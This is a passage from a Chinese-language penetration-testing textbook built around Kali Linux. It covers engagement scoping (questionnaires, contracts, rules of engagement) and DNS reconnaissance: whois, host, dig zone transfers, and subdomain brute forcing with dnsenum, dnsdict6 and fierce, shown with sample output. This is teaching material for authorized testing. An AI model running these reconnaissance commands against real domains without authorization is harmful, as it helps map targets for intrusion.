第2部分 渗透测试人员的军械库

第3章 范围界定

第4章 信息收集

第5章 目标识别

第6章 服务枚举

第7章 漏洞映射

第8章 社会工程学攻击

第9章 漏洞利用

第10章 提升权限

第11章 访问维护

第12章 文档报告

第3章 范围界定

范围界定(Target Scoping)是收集被测单位的评估项目需求的经验过程。这个阶段的工作把评估项目的毎一个需求参数都落实到项目的测试计划、限定因素、业务指标和进度安排中。该流程旨在明确安全评估项目的具体目标,对整个项目起着举足轻重的重要作用。待明确项目的关键目标之后,评估人员就可以整理出工作路线图。这份路线图会涵盖测试目标、测试方式、所需资源、限制因素、业务指标,以及项目的计划和调度安排。我们把上述这些要素统称为评估项目的范围界定流程(scope process)。本章将介绍与之有关的几个概念,分别如下。

● 收集需求(gathering client requirements):以口头交流或书面询问的形式,积累目标环境的有关信息。

● 筹划工作(preparing test plan):测试计划的准备工作受许多因素的影响。这些因素包括:结构化测试流程按照实际需求进行的相应调整、合同和协议、成本分析以及资源分配。

● 边界分析(profiling test boundaries):明确渗透测试任务限制因素的工作。这些限制因素可能来自于技术上的限制、信息方面的限制或者是客户 IT 规章条例里的有关要求。

● 明确业务指标(defining business objectives):在渗透测试项目中,该阶段工作使技术目标与业务目标保持一致。

● 项目管理和统筹调度(project management and scheduling):该项工作旨在使渗透测试过程中的每个步骤与其他步骤形成时间上的配合。很多些先进的项目管理工具,都可以用做项目管理和项目调度的工具。

为了保证测试结果的一致性,提高测试工作的成功几率,强烈建议您遵循评估项目的范围界定流程。此外,您也可以根据实际情况和测试要素对该流程进行调整。如果脱离范围界定流程,收集到的需求将不够确切,工作的流程难以合理,而这都可能会导致测试项目的最终失败。这不仅会危及整个渗透测试项目的成败,并且有可能会意外中断被测单位的正常业务。充分重视范围界定阶段的工作,会给后续各阶段的工作带来极大的帮助,并且有助于明确技术方面和管理方面的有关需求。范围界定的关键在于,要在开始渗透之前尽可能的从客户那里收集信息,以形成一个充分满足客户各个层面需求的渗透测试策略。这一策略应能顾全法律条款、合同协议、资源分配、测试限制、核心竞争力、基础设施信息、时间指标以及规则约定。渗透测试的最佳实践表明,唯有遵循范围界定流程,在这一阶段解决所有必要的问题,才是启动渗透测试项目的专业方式。

范围界定流程的各个步骤负责生成不同类型的信息。为了保障渗透测试的最终成功,范围界定流程按照逻辑的顺序把这些步骤有机地组合成一体。我们也要在这个阶段尽早地处理好与法律有关的问题。在本章后续的小节里,我们将详细解释这些阶段的各个步骤。请注意,如果能够条例清晰地整理好所有收集到的信息,那么客户和渗透测试顾问都能够深入理解安全测试的工作过程。

3.1 收集需求

这一步通常以问卷调查的形式从客户那里收集目标基础设施的所有相关信息。接受问卷调查的对象可以是经被测单位正式授权的个人和业务伙伴。因此,要保证顺利完成渗透测试项目,关键是要在项目的早期找到所有内部和外部的干系人(stake holder),尽早分析他们对项目的关注程度、期望程度、重要程度和影响程度。然后,依据各个干系人的需求和参与程度制定测试策略,以在最大限度地发挥渗透测试的正面影响的同时,尽可能地避免潜在的负面影响。

在开展工作之前,事先验证合同缔约方的真实身份是测试人员的责任,而不是被测单位的责任。

收集需求的基本作用是:帮助渗透测试人员通过真实可信的渠道获取测试工作所需的必要信息。当完成明确需求的工作之后,应把测试需求分析书交给客户审查,以免受到错误信息的误导。审查步骤可以保证最终测试结果的一致性和完整性。

3.1.1 需求调查问卷

我们整理出部分常见问题,这些问题可以用作常规客户需求调查问卷的制作基础。需要注意的是,您需要根据客户的需求扩展或精简其中的问题。

● 收集公司的基本信息,例如公司名称、注册地址、企业网站、联络人的详细资料、电子邮件地址以及电话号码。

● 了解客户启动渗透测试项目的主要动机。

● 确定渗透测试的具体类型(包含或者不包含特定标准)。

○ 黑盒测试

○ 白盒测试

○ 外部测试

○ 内部测试

○ 需要进行社会工程学测试

○ 不进行社会工程学测试

○ 调査员工背景信息

○ 使用伪造的员工信息进行测试(可能需要咨询律师)

○ 进行DoS(拒绝服务攻击)测试

○ 不进行DoS 测试

○ 渗透业务合作伙伴的系统

● 测试项目涉及多少服务器、工作站和网络设备?

● 基础设施架构支持什么操作系统技术?

● 需要测试什么类型的网络设备?防火墙、路由器、交换机、调制解调器、负载平衡器、IDS、IPS,还是其他类型的硬件设备?

● 是否有灾难恢复计划?如果有,谁是测试人员应当联系的紧急联系人?

● 是否有在岗的网络管理员?

● 是否需要遵循什么特定的工业标准?如果有,请列出来。

● 当前渗透测试项目的联络人是谁?

● 这个项目的时间周期是多久?

● 这个项目的预算是多少?

● 如果必要,应全面掌握客户在其他方面的需求。

3.1.2 可交付成果的需求调查表

下述列表是可交付成果的需求调查表(deliverable assessment form)。这个调查表的内容并不全面,您应该根据客户的需求进行相应添增或删减。

● 您期望得到哪种类型的报告?

○ 执行报告

○ 技术评估报告

○ 开发人员报告

● 您希望项目报告采用哪种文件格式? PDF、HTML 还是DOC。

● 提交报告的方式,应当是加密邮件还是纸质文档?

● 负责收取这些报告的责任人是谁?

○ 员工

○ 股东

○ 干系人

这种简洁而全面的调査表,有助您毫不费力地掌握客户的需求,有助于顺利完成测试计划。

3.2 筹划工作

在收集完客户需求并由客户验证过这些需求之后,就可开始正式测试计划的准备工作。测试计划必须能够反映客户的全部需求,应能全面解决测试工作在法律和商业领域会涉及的各种问题。筹划测试工作的有关计划,关键是要制定一种严谨的测试流程,解决好人员配置、成本分析、保密协议、渗透测试合同以及操作规则的问题。下面将具体讨论这些方面的工作。

● 制定严谨的测试流程:在分析完客户反馈的详细资料之后,您可能需要适度调整现有的测试方法论。例如,如果客户不希望进行社会工程学测试,那么正式的测试流程就不得有该项测试。有些人把这种调整工作称为测试过程验证(Test Process Validation)。这种调整工作往往需要进行多次;每当客户改动了他们的需求,测试人员都需要重新进行相应的调整工作。如果测试计划里包含任何客户需求范围之外的测试,将有可能违反单位的制度,甚至造成严重后果。此外,测试人员通常还要按照测试类型的区别对测试流程进行一定的调整。例如,白盒测试的测试计划就不应该包含信息收集和目标识别的相关阶段,因为测试人员事前能够掌握目标内部架构的详细情况。

无论进行何种类型的测试,测试人员都应当验证网络信息和实际环境。毕竟,客户自己可能并不知道他们的网络结构到底是什么情况。

● 人员配置:测试人员的知识结构和专业水准是影响测试工作成败的重要因素之一。因此,为既定任务指定一名水平相当的专业渗透测试人员,可提高安全评估结果的质量。例如,要开展针对应用程序的渗透任务,我们就需要应用安全方面的测试人员。这项工作对于渗透测试任务的成功完成具有非常重要的作用。

● 成本分析:渗透测试的成本取决于很多因素。可能影响成本的因素包括:分配给整个项目的天数、客户要求的额外服务(如社会工程学和物理安全评估)、评估特定技术所要求的专业能力。以行业的观点来看,成本取决于测试项目的性质(种类)和数量(工作量)。

● 保密协议(Non-disclosure Agreement,NDA):在渗透测试开始之前,合同双方需要签订符合双方利益的协议。这份保密协议用来明确测试工作中各方应该遵循的条款和条件。在整个测试过程中,渗透测试人员必须遵守这些条款。违反保密协议任何条例的责任人都将受到严惩,甚可能因此失去工作。

● 渗透测试合同:客户和渗透测试人员之间的所有技术事宜和业务事宜,都应落实为书面合同。这类合同主要约定测试服务的具体内容、服务的主要目标、测试方法、收费标准,旨在维护整个项目的保密性。因为这种合同全面影响您的渗透测试活动,所以建议您聘请专业律师或法律顾问起草这类合同。

● 操作规则:因为渗透测试可能形成实质性的攻击,所以测试人员必须清楚地理解评估的需求、客户配合的范围,以及每种评估技术可能会造成的影响或后果。此外,渗透测试涉及的测试工具必须配有明确的用途说明,以便测试人员可进行相应的选择。操作规则非常详细地明确了上述所有内容,是测试人员在测试过程中必须遵循的技术规范。这一规则的制定依据是事先测算好的资产收益率(ROE)。测试人员不得越过该规则所明确的行为界限。

通过测试计划的上述各项准备工作,您能够保证渗透测试流程的统一性。这也有助于测试人员依据客户需求确定出评估计划里的更多细节。我们同时建议您事先准备好测试计划检查清单,以验证评估条款和有关指标。

测试计划检查清单

在开始范围界定的后续工作之前,应当检查一下您是否完成了先前阶段的任务。此时,您可以参考下述这个清单。

● 是否满足了客户需求建议书(RFP)的所有需求?

● 是否清晰地描述了测试范围?

● 是否已经明确了所有参与测试的有关单位?

● 是否已经单独列出了所有不参与测试的单位?

● 是否需要遵循特定的测试流程?

● 是否正确拟定了测试流程?

● 测试完成后能否交付相应的预期成果?

● 是否书面描述、研究过整个测试环境?

● 是否给所有的测试项目都制定了相应的角色和职责?

● 在涉及特定技术的评估工作中,是否会涉及第三方承包商?

● 有没有采取让项目能够完美结束的措施?

● 对方是否有灾难恢复计划?

● 是否已经正式测算过整个项目的成本?

● 是否已经找到了批准测试计划的责任人?

● 是否已经找到了接受渗透测试的责任人?

3.3 测试边界分析

客户提出的项目需求,可能有意或无意地提示出被测环境的局限条件和测试边界。这些局限条件和测试边界,可分为技术上的、知识上的或者由客户设定的正规限制。因为这些约束条件可能会对测试造成重大影响,所以测试人员得通过其他可行方案规避这些问题。必须注意的是,有些限制是无法通融或修改的,因为客户要通过这些限制来管控整个渗透测试的过程。下文将会介绍常见的限制类型和相应的案例。

● 技术限制:在定义了合适的测试边界之后,审计人员可能发现目标网络基础设施中使用了一种无法测试的新型技术,这种类型的限制就是技术限制。发生这种情况的原因是缺乏评估这种新技术的渗透测试工具。例如,XYZ公司引进了一款性能优异的GZ型网络防火墙,他们把GZ部署在网络入口以保护整个内部网络。然而,GZ防火墙运用的专利技术,导致了现有的任何一款防火墙评估工具都无法评估该产品。因此,测试单位需要及时更新解决方案,以解决新技术带来的评估障碍。

● 知识限制:渗透测试人员在知识能力方面的局限会对整个项目产生负面影响。例如,专门从事数据库渗透的测试人员,无法负责网络基础设施的物理安全评估。因此,为了顺利完成项目任务, 最好能够依据人员的知识结构和技能水平分配他们相应的角色和职责。

● 基础设施有关的其他方面的限制:为了控制评估的实施过程,客户也可能会添加特定的测试限制。为了实现这种控制,他们可能会限制测试人员仅接触那些需要被评估的网络设备和技术,而不让他们接触 IT 基础设施的其他部分。通常,需求收集阶段的工作应能明确这些限制。例如,客户可能会要求测试网段A里的所有设备,但是他们还会同时要求不得测试第一个路由器。客户需求里的这种限制,会无法衡量第一个路由器的安全性;即使彻底检查了网络里的其他所有设备并保证了其安全,还是这个路由器的问题很有可能引发整个网络的安全事故。 因此,在接受这类限制之前,必须认真地考虑全局问题。

评估人员务必在用户需求收集阶段,仔细观察、深入分析所有的局限条件和限制要求。优秀的渗透测试人员应能仔细分辨每一个相关需求,应能与客户进行讨论,取消或者改变所有可能造成测试流程意外中断,或者造成测试结果歧义的限制。虽然本质上说,无法规避某些技术上的限制,而且需要额外的时间来开发克服相应限制的测试方案,但是引入高水平的测试人员,使用先进的测试工具和技术,也可能克服这些限制。

3.4 定义业务指标

在明确评估需求和签署服务协议之后,下一步工作就是定义业务指标。这将保证测试结果能够给客户的业务带来各个方面的好处。每一项业务指标都对应着相应的评估需求,把安全评估的成果展现为业务的业绩。我们整理出一些普遍适用于各类渗透测试项目的业务指标。然而,您也可能根据客户的需求重新设计这份清单。这个工作十分重要,审计人员应当能够观察、理解客户的业务出发点,在测试前、测试中、测试后都满足最低程度的指标。管理团队和技术团队通力合作,以保证业务可靠性为命题,以增强信息系统安全性为着手点,共同制定业务指标。无论何种类型的安全评估项目,均可参考下述这个通用的业务指标。

● 通过常规安全检査,提髙企业形象和业内认可程度。

● 以保证业务完整性为契机,达到必要的标准和规范。

● 提高存有客户、员工和其他业务单位信息的机要系统的安全性。

● 在网络基础设施中排查现有的威胁和已知漏洞,协助建立安全制度以及可对抗已知和未知风险的工作流程。

● 提供一个可平滑过渡的、健全的业务组织架构,从而使合作伙伴和客户能够受益。

● 把维护 IT 基础设施安全性的费用降到最低。安全评估业务可衡量业务系统的保密性、完整性和可用性。

● 帮助客户消除所有尚未被对手恶意利用的潜在风险,避免潜在事故可能造成的损失,从而提高了投资回报率(ROI)。

● 评估人员向客户技术团队推荐的详细的安全流程,可帮助客户消除有关的安全隐患,最终减少客户的运营负担。

● 根据目标信息系统所采用的底层技术,以业内相应的最佳安全实践为蓝本,配合最佳组合的工具和技术,对被测单位的信息系统进行安全评估。

● 推荐所有可用于保护经营性资产的安全解决方案。

3.5 项目管理和统筹调度

要管理好渗透测试项目,就要彻底了解范围界定流程中的各个部分。一旦明确了范围目标,项目主管就可以与渗透测试人员协作,共同开发一个拟定好项目计划和时间进度的正式大纲。虽然渗透测试人员通常可以独立完成这个任务,但是让客户参与进来更好,因为他们会在有关的日程安排上给予积极的配合。项目管理和进度安排非常重要,因为在执行测试任务时必须精确保持进度,避免超出预定的时间。在渗透测试过程中,一旦给相关任务明确指派了合适的资源之后,就更有必要给与之有关的关键任务拟定进度安排。

所谓“任务”,就是由渗透测试人完成的一部分工作。而“资源”可以是安全评估中涉及的人员,也可以是在测试过程中的普通资源,例如实验器材。我们可以使用许多现有的项目管理工具,把项目管理得高效而划算。下文列出了一些项目管理工具。您可根据实际环境和客户需求来选择最佳的工具。

figure_0083_0037

上述每个工具的功能都很强大。应用这些工具,参照预定任务和时间规划,项目管理主管可以轻松地追踪、管理渗透测试人员的工作进度。此外,这些工具都提供了非常高级的功能。例如,在任务完成和超过期限时,这些工具可以给项目主管发送警报信息。实际上,在渗透测试工作中应用项目管理工具的好处有很多。例如能够促进人们按时完成任务,提高测试生产力和客户满意度,改善工作的质和量,灵活地控制工作流程等。

3.6 本章总结

本章介绍了渗透测试工作里与范围界定有关的部分。如果您准备启动专业的渗透测试项目,就应当充分重视这部分工作。本章介绍的内容主要是确定测试需求方面的必要规范。基于这个目的,本章强调并详细描述了范围界定流程的每一个相关步骤。这些步骤构成了实施测试所需的过程控制路线图。范围界定流程由 5 个独立的元素组成:收集需求、筹划工作、边界分析、明确业务指标、项目管理和统筹调度。范围界定流程的工作,旨在于获取、管理尽可能多的与目标环境有关的信息,这部分信息在整个渗透测试的过程里都将起到举足轻重的作用。下面,我们总结一下范围界定流程工作的每个组成部分。

● 收集需求:从客户或者用户那里收集什么信息才能成功完成渗透测试任务?这部分内容提供一个可行的通用准则。在这个阶段的工作应当明确渗透测试的类型、基础设施信息、组织结构关系、预算概要、时间分配和交付成果的具体类型。

● 筹划工作:这个阶段的工作分为制定严谨的测试流程、解决人员配置、成本分析、保密协议、渗透测试合同以及操作规则的问题。这些工作内容本身就够成了制定正式测试计划所需的各个流程。最终制定的测试计划应能准确反映客户需求,应能全面解决测试工作会涉及的法律层面和业务领域的各种问题,应能合理分配资源,适当控制成本,并明确操作规则。另外,本章还有一个测试计划检査清单的样本,它会有助于保证测试计划的完整性。

● 边界分析:介绍了在解读客户需求时,需要注意何种的局限条件和测试边界。它们主要分为技术上的限制、知识限制,或者客户为了控制渗透测试流程而提出的基础设施有关的其他方面的限制。专业人员应能根据客户的需求,准确清晰地判断出各种测试边界。有一些特定的流程可用于克服这些问题。

● 明确业务指标:这个阶段的工作主要关注渗透测试服务能够给客户带来的关键效益。本章的这一小节提供了一系列的业务指标,这些指标结合了评估准则和评估服务的专业效果。

● 项目管理和统筹调度:在范围界定流程里,这个阶段的工作至关重要。当收集好全部需求,并将之整理为测试计划的有关内容之后,就需要为每项任务分配适当的资源和时间。我们可以通过使用先进的项目管理工具,毫不费力地跟踪这些任务的进度状况和资源状态。这些工作有助于提髙测试的生产力和工作效率。

下一章将介绍在渗透测试中扮演重要角色的侦察流程。它包括探测公共资源、DNS 服务器、搜索引擎以及其他有关目标基础设施的逻辑信息。

第4章 信息收集

本章将阐述信息收集的概念及其作用,进而介绍信息收集阶段的各项渗透测试工作。此外,我们还会介绍 Kali Linux 收录的信息收集工具。希望读者在阅读本章之后能够理解在信息收集阶段的渗透测试工作,并且能够在实际的渗透测试中顺利收集各种必要信息。

前面章节介绍过,渗透测试方法论的第二个阶段是信息收集阶段。在这个阶段中,要尽可能地收集与测试目标有关的各类信息。这些信息包括DNS信息、IP地址、采用的技术以及具体配置、用户名的组织单位、文件、程序代码、密码重置信息、联系人信息等。信息收集阶段收集到的每一条信息都至关重要。

信息收集的方法可归为两类:主动式信息收集和被动式信息收集。主动式收集方法是通过直接发起与被测目标网络之间的互动来获取相关信息。例如,ICMP ping 或者 TCP 端口扫描就属于主动式信息收集手段。而被动信息收集方法,则是通过第三方服务来获取目标网络的相关信息,例如使用谷歌搜索引擎等。

这两种收集方式并没有优劣之分,每种方式都有各自的优点。如果采用被动式扫描,您收集到的信息相对较少,但是这种扫描却不会被发现。然而,尽管主动扫描可获取的信息相对多一些,但是很多设备可能已经捕获了您的扫描行为。在渗透测试项目中,可能需要重复进行多次扫描才能获取足够充分的信息。您也可以与渗透测试的顾客进行沟通,选取他们需要的信息收集方式。

本章内容分为下述几个部分:

● 通过公开网站收集目标域的有关信息;

● 收集域的注册信息;

● DNS 分析;

● 收集路由信息;

● 利用搜索引擎。

4.1 公开网站

我们可以通过某些公开网站来收集目标域的有关信息。通过公开网站收集信息的好处在于不必向目标网络直接发送数据,从而避免使目标察觉我们的行动。

您可以使用下述网站:

figure_0087_0038

上述网站简单易用,您只需在可接入互联网的设备上打开浏览器就可开始收集信息。我们建议您在使用Kali Linux 里的工具之前首先使用公开网站获取信息。

为了保护真正存在的网域,我们在本文的示例里更换了真实的域名。下文用到了很多的域名,例如IANA的保留域名examples.com。这些域名仅供演示之用。

4.2 域名的注册信息

在知道目标的域名之后,您想做的第一件事可能就是从whois数据库里获取域名的注册信息。whois数据库记录有该域名的DNS服务器信息和注册人的联系信息。

WHOIS是一个标准的互联网协议,可用于收集网络注册、注册域名、IP地址和自治系统的信息。RFC 3912 明确了这一规则的有关规范,有兴趣的读者可参见 https://www. ietf.org/rfc/rfc3912.txt。

默认安装的Kali Linux 带有whois 客户端程序。如需查询某一域名的whois 信息,可在终端中使用下述whois指令:

# whois example.com

然后,该指令会显示这个域名的whois信息:

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net

for detailed information.

Domain Name: EXAMPLE.COM

Registrar: REGISTRAR.COM

Whois Server: whois.registrar.com

Referral URL: http://registrar.com

Name Server: NS.HOSTING.COM

Name Server: NS2.HOSTING.COM

Status: clientDeleteProhibited

Status: clientRenewProhibited

Status: clientTransferProhibited

Status: clientUpdateProhibited

Updated Date: 08-apr-2012

Creation Date: 08-apr-2012

Expiration Date: 08-apr-2015

>>> Last update of whois database: Wed, 25 Jul 2012 02:15:41 UTC <<<

Please note: the registrant of the domain name is specified

in the "registrant" field. In most cases, registrar.com

is not the registrant of domain names listed in this database.

The Registrant:

Jalan Sudirman No. 1

DKI Jakarta

Indonesia 12345

Domain Name: EXAMPLE.COM

Created on: 08-Apr-12

Expires on: 08-Apr-15

Last Updated on: 08-Apr-12

Administrative Contact:

The Registrant

Jalan Sudirman No. 1

DKI Jakarta

Indonesia 12345

62 2112345678

Technical Contact:

The Registrant registrant@example.com

Jalan Sudirman No. 1

DKI Jakarta

Indonesia 12345

62 2112345678

Domain servers in listed order:

NS.HOSTING.COM

NS2.HOSTING.COM

我们可以在上述 whois 返回结果中获取 DNS 服务器的信息以及域名注册人的联系信息。这些信息会在渗透测试的后续阶段发挥作用。

除了通过命令行的whois客户端程序,我们还可以使用下述网站获取whois信息,这些网站同样通过whois客户端程序查询有关信息。

● www.whois.net

● www.internic.net/whois.html

此外,您也可以访问顶级域名注册商,查询相应域名的信息。

● 美洲:www.arin.net/whois/

● 欧洲:www.db.ripe.net/whois

● 亚太:www.apnic.net/apnic-info/whois_search2

顶级域名注册商的系统,只提供在他们那里注册的域名的 whois信息。例如 ARIN 提供的 whois 服务只能在它自己的数据库里查找whois信息,而不会搜索RIPE和APNIC的数据库。

4.3 DNS记录分析

使用DNS分析工具可收集DNS服务器信息和有关域名的相应记录。

DNS记录分为下述几种类型。

figure_0090_0039

例如,在某次渗透测试的过程之中,客户要您查找他们域名下的所有主机和IP地址。此时您只有域名信息。我们能够通过几个工具回答客户的询问。

4.3.1 host

在得到DNS服务器信息之后,下一步工作就是找出主机名称的IP地址。这种情况下,我们可以使用host指令向DNS服务器查询主机的IP地址。

# host www.example.com

该指令的返回结果如下。

www.example.com has address 192.0.43.10

www.example.com has IPv6 address 2001:500:88:200::10

我们可以从中找到主机www.example.com的IPv4地址和IPv6地址。

默认情况下,host指令会搜索域名的A记录、AAAA记录和MX记录。如需查询全部DNS记录,可以使用选项-a。

# host -a example.com

Trying "example.com"

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25153

;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; QUESTION SECTION:

;example.com.     IN  ANY

;; ANSWER SECTION:

example.com.   3201 IN  SOA dns1.icann.org.

hostmaster.icann.org. 2012080782 7200 3600 1209600 3600

example.com.   46840 IN  NS  a.iana-servers.net.

example.com.   46840 IN  NS  b.iana-servers.net.

;; ADDITIONAL SECTION:

b.iana-servers.net. 1401 IN A  199.43.133.53

a.iana-servers.net. 1401 IN A  199.43.133.53

Received 170 bytes from 202.152.165.39#53 in 563 ms

host指令查询域名信息的DNS服务器,就是文件/etc/resolv.conf指定的DNS服务器。如果想查询其他的DNS服务器,可在指令的尾部直接添加DNS服务器地址。

通过查询域名的IP信息,这种查询叫做正向查询(forward lookup)。而通过IP 地址查询域名,这种查询叫做逆向查询(reverse lookup)。

使用下述指令进行逆向查询,将会得到什么信息?

host 23.23.144.81

host 程序还可以进行DNS 域传输(zone transfer)。域传输的结果包含某一域里所有的主机名称。

DNS服务器的域传输机制用于在主控(master)DNS服务器和其他服务器(通常是从属DNS服务器/slave)进行DNS数据库同步。若没有这种机制,管理员就得分别更新每台 DNS服务器的数据库。DNS 服务器应当只和同一域里的经过身份验证的服务器进行域传输。

因为DNS域传输功能可能外泄整个域的所有信息,所以人们大多都对这个功能进行了限制。当今,提供公开的域传输的DNS服务器已经很少见了。

如果某台 DNS 服务器会与任意主机进行域传输,就说明这台 DNS服务器的配置不正确。

如果某台DNS服务器可以进行域传输,我们就可使用下面这类指令。

# host -l example.com ns4.isp.com

DNS域传输的结果如下。

Using domain server:

Name: ns4.isp.com

Address: 172.16.176.22#53

Aliases:

example.com name server ns1.isp.com.

example.com name server ns2.isp.com.

example.com has address 192.168.1.1

smtp.example.com has address 192.168.1.2

mail.example.com has address 192.168.1.3

webmail.example.com has address 192.168.1.3

www.example.com has address 192.168.1.4

在进行域传输时,host指令将会返回该域的NS记录、PTR记录和地址记录。本例所使用的配置不当的DNS服务器是ns4.isp.com。

4.3.2 dig

除了host指令之外,您还可以使用dig指令进行DNS查询。相比host指令而言, dig指令的用法更为灵活,输出更为清晰。您甚至可以使用dig指令处理一个文件里所有的DNS查询指令。

我们可使用dig命令查询example.com(见图4.1)。

figure_0093_0040

图4.1

如果在使用它的时候不指定任何选项,dig指令仅会返回该域的A记录。如需查询全部类型的DNS数据,我们可把type选项设定为any。

# dig example.com any

; <<>> DiG 9.7.0-P1 <<>> example.com any

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40971

;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2

;; QUESTION SECTION:

;example.com.     IN  ANY

;; ANSWER SECTION:

example.com.   3565 IN  SOA  dns1.icann.org.

hostmaster.icann.org. 2012080782 7200 3600 1209600 3600

example.com.   83186 IN  AAAA 2001:500:88:200::10

example.com.   48296 IN  NS  b.iana-servers.net.

example.com.   48296 IN  NS  a.iana-servers.net.

;; ADDITIONAL SECTION:

a.iana-servers.net. 182 IN  A  199.43.132.53

b.iana-servers.net. 182 IN  A  199.43.133.53

;; Query time: 327 msec

;; SERVER: 202.152.165.39#53(202.152.165.39)

;; WHEN: Sat Aug 18 10:46:09 2012

;; MSG SIZE rcvd: 198

这条指令返回了该域名的SOA记录、NS记录、A记录和AAAA记录。

在使用dig指令进行域传输时,我们必须设置DNS服务器为权威DNS,并且设置传输类型为axfr。

# dig @ns4.isp.com example.com axfr

该指令的返回结果如下。

; <<>> DiG 9.7.0-P1 <<>> @ns4.isp.com example.com axfr

; (1 server found)

;; global options: +cmd

example.com.   3600 IN SOA ns1.isp.com. hostmaster.

isp.com. 2011020409 900 600 86400 3600

example.com.   3600 IN  NS  ns1.isp.com

example.com.   3600 IN  NS  ns4.isp.com

example.com.   3600 IN  A  192.168.1.1

example.com.   3600 IN  MX  192.168.1.3

mail.example.com.  3600 IN  A  192.168.1.3

webmail.example.com. 3600 IN  A  192.168.1.3

www.example.com.  3600 IN  A  192.168.1.4

example.com.   3600 IN  SOA ns1.isp.com hostmaster.

isp.com 2011020409 900 600 86400 3600

;; Query time: 855 msec

;; SERVER: 172.16.176.22#53 (172.16.176.22)

;; WHEN: Sat Aug 18 10:59:11 2012

;; XFR size: 9 records

这个指令的返回结果和host 的返回结果十分相似。如果看到这种类型的返回结果,就说明我们收集到了所有DNS记录。

4.3.3 dnsenum

另外,我们可利用dnsenum程序收集DNS数据。这个程序能够收集的DNS信息分为下述几类:

● 主机IP 地址;

● 该域的DNS 服务器;

● 该域的MX 记录。

在这一章里,您会发现不同程序的返回结果十分相似。这是因为我们就是在通过不同的程序验证相同的数据。返回同一信息的程序越多,我们对这一信息就越有信心。

除了获取DNS信息的功能之外,dnsenum还有下述几个特性。

● 它能够通过谷歌捜索其他的域名和子域名。

● 可使用字典文件对子域名进行暴力破解。Kali Linux 收录的dnsenum 自带有字典文件(dns.txt),该字典可测试1480个子域名。此外另有可测试266930个子域名的字典文件dns-big.txt。

● 可对C 类网段进行whois 査询并计算其网络范围。

● 可对网段进行反向査询。

● 采用多线程技术,可进行并发査询。

如需启动dnsemu,可在终端中使用下述指令。

# dnsenum

而后,程序会在屏幕上显示它的指令介绍。

为了演示dnsenum的用法,我们将用它来收集目标域的DNS信息。

# dnsenum example.com

该指令的返回结果如下。

dnsenum.pl example.com

dnsenum.pl VERSION:1.2.2

----- example.com ----

Host's addresses:

__________________

Name Servers:

______________

ns1.isp.com 10771 IN A 172.168.1.2

ns0.isp.com 7141 IN A 172.168.1.1

Mail (MX) Servers:

___________________

hermes1.example.com 864000 IN A 192.168.10.3

hermes.example.com 3600 IN A 192.168.10.2

Trying Zone Transfers and getting Bind Versions:

_________________________________________________

Trying Zone Transfer for example.com on ns0.isp.com ...

AXFR record query failed: NOERROR

ns0.isp.com Bind Version:

DNS server

Trying Zone Transfer for example.com on ns1.isp.com ...

example.com      86400 IN SOA

example.com      86400 IN NS

example.com      86400 IN MX

example.com      86400 IN TXT

admin.example.com    3600 IN NS

blogs.example.com    3600 IN NS

ftp.example.com   3600 IN A  192.168.10.4

hermes.example.com   3600 IN A 192.168.10.2

hermes.example.com   86400 IN TXT

hermes.example.com   86400 IN SPF

hermes1.example.com   86400 IN A   192.168.10.2

www.example.com   3600 IN NS

ns1.isp.com Bind Version:

DNS server

brute force file not specified, bay.

默认情况下,dnsenum会返回主机地址、名称解析服务器和邮件服务器的IP地址信息。好在ns1.isp.com这台DNS服务器允许我们对example.com进行域传输。

在不能进行域传输的情况下,我们可以使用字典文件对子域名进行暴力破解。例如,如果使用字典文件dns.txt暴力破解example.com的子域名,可使用下述指令。

dnsenum -f dns.txt example.com

该指令的返回结果如下。

Brute forcing with dns.txt:

____________________________

apps.example.com 86400  IN  A  192.168.10.152

mail.example.com 86400  IN  A  192.168.10.107

portal.example.com 86400  IN  A  192.168.10.249

请注意,DNS域名暴力破解的耗时较长。

幸运的是,目标域使用了常见域名。我们使用字典文件进行暴力破解,发现了多个子域名(apps、mail和portal)。

我们还可以通过 Google 搜索某域的子域名。在 DNS 域传输被禁用的情况下,这种方法十分有效。在dnsenum指令里加上“–p页数”选项,可在Google结果的前几页里搜索子域名。而在指令的里加上“–s 数量”,则可按个数搜索子域名。为了加速搜索进程,可以设置线程的数量(--threads)。

4.3.4 dnsdict6

前文介绍了几个枚举IPv4子域名的DNS工具。如果您需要枚举IPv6的子域名,就需要使用The Hacker’s Choice(THC)小组推出的dnsdict6。

为了访问Kali Linux 中的dnsdict6,可以在终端中输入下述命令。

# dnsdict6

这将显示dsndict6帮助页面。

如果没有任何选项,dsndict6将使用内置的字典文件和8个线程。

枚举example.com各子域名的指令如下。

# dnsdict6 example.com

该指令的返回结果如图4.2所示。

figure_0098_0041

图4.2

dnsdict6自带的字典文件可测试798个子域名。在使用dnsdict6暴力破解子域名之后,我们可以看到它测试出了example.com的1个IPv6的子域名(www)。

我们发现dnsdict6显示的字典单词的数量不对。在我们给它指定了一个含有3个条目的字典文件之后,dnsdict6 程序却显示字典里含有4个条目。

在指定选项-4 之后,dnsdict6 就可以测试IP v4的子域名。还可通过-d 选项,让它收集该域的DNS和NS信息。现在,我们演示一下这两个选项的作用(见图4.3)。

figure_0098_0042

图4.3

4.3.5 fierce

DNS枚举工具fierce可通过多项技术查找目标的IP地址和主机名。它会通过您计算机使用的 DNS 服务器查找继而使用目标域的 DNS 服务器。它同样可以利用暴力破解子域名。在使用字典文件进行暴力破解时,它会调用目标域的 DNS 服务器逐条尝试字典里的DNS条目。这个工具的主要特点是,它能够针对不连续的IP空间和主机名称进行测试。

在Kali Linux 里的终端窗口里使用下述命令可查看fierce 的帮助文件。

# fierce -h

举例来说,我们可使用fierce查找某个域的有关信息。

# fierce -dns example.com -threads 3

该指令返回的结果如下。

DNS Servers for targetdomain.com:

ns4.example.com

ns1.example.com

ns2.example.com

ns3.example.com

Trying zone transfer first...

Testing ns4.example.com

Request timed out or transfer not allowed.

Testing ns1.example.com

Request timed out or transfer not allowed.

Testing ns2.example.com

Request timed out or transfer not allowed.

Testing ns3.example.com

Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)

Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...

Nope. Good.

Now performing 1895 test(s)...

192.168.116.3 voips.example.com

192.168.116.7 ns.example.com

192.168.116.19 streaming.example.com

